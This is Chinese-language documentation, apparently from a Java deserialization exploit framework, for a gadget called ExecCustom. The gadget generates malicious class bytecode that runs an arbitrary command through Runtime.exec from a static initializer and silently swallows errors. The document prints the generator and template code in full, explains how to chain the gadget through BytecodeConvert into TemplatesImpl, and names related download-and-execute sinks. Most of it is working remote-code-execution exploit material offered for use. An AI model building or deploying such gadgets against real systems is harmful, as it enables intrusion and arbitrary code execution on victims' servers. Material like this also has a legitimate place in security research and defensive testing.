- 类别:bytecode 别名:— 优先级:11
- 作者:ViCrack
- 依赖:无第三方依赖(生成期使用
org.apache.commons.lang.StringEscapeUtils做转义)
生成一段「用 Runtime.getRuntime().exec(cmd) 执行任意命令」的恶意类字节码(byte[])。与 Exec 定位相同,都是链尾 RCE sink,区别在于它执行的是单条命令字符串、不做 shell 包装,且底层用 Runtime.exec 而非 ProcessBuilder。
- 入口
tags:Bytecode、ENDBytecode—— 产出原始字节码,被nextTags=Bytecode的上游 BytecodeConvert 承接。END—— 链的合法终点标记。
- 衔接
nextTags:无 —— 链尾 sink。 excludes:无。
Gadget 本体与 Exec 几乎一致,仅改用另一个模板类:
@Param(name="自定义命令字符串", description="default: calc")
public String cmd = "calc";
public byte[] getObject() throws Exception {
String javaSafeCmd = StringEscapeUtils.escapeJava(this.cmd); // Java 字符串转义
JavassistHelper javassistHelper = new JavassistHelper(ExecCustomBytecode.class);
javassistHelper.modifyStringField("cmd", javaSafeCmd); // 改写模板静态字段 cmd
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context);
return this.getObject();
}模板类同样借静态初始化触发:
public class ExecCustomBytecode {
public static String cmd;
public ExecCustomBytecode() {
try {
Runtime.getRuntime().exec(cmd); // 直接调用 Runtime.exec
} catch (Exception exception) { /* 静默 */ }
}
static { new ExecCustomBytecode(); } // 类初始化即触发
}关键差异:Runtime.getRuntime().exec(String) 会把命令按空白拆分为参数数组,不经过 shell,因此像 bash -c 'xxx | yyy' 这类管道/重定向语法不会被解析——需要 shell 特性的命令应改用 Exec。该 gadget 适合执行「单个可执行文件 + 简单参数」的场景。同样把逻辑放在 static {} + 构造函数,类一旦被 defineClass/实例化即触发。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
自定义命令字符串 | 传给 Runtime.exec 的命令(按空白切分,不走 shell) |
calc |
任意字符串 |
- 无版本依赖,纯字节码 sink。
- 与
Exec的本质区别:Runtime.exec不做cmd.exe /c//bin/sh -c包装,也不判断操作系统;因此不支持 shell 元字符(|、>、&&等),需要这些请用Exec。 - 静默
catch保证命令异常不打断反序列化流程。 - 与 BytecodeConvert 配合装入
TemplatesImpl触发,要求目标环境可加载并初始化该类。
自由构件,未直接出现在预设链(usedInChains 为空)。可手动替换任意以 Exec 收尾的链的 sink 部分,形成 [..., BytecodeConvert, ExecCustom]。
- 上游:BytecodeConvert(
nextTags=Bytecode)。 - 同族 sink:Exec(
ProcessBuilder+ shell 包装,更通用)、DownloadExec、Download。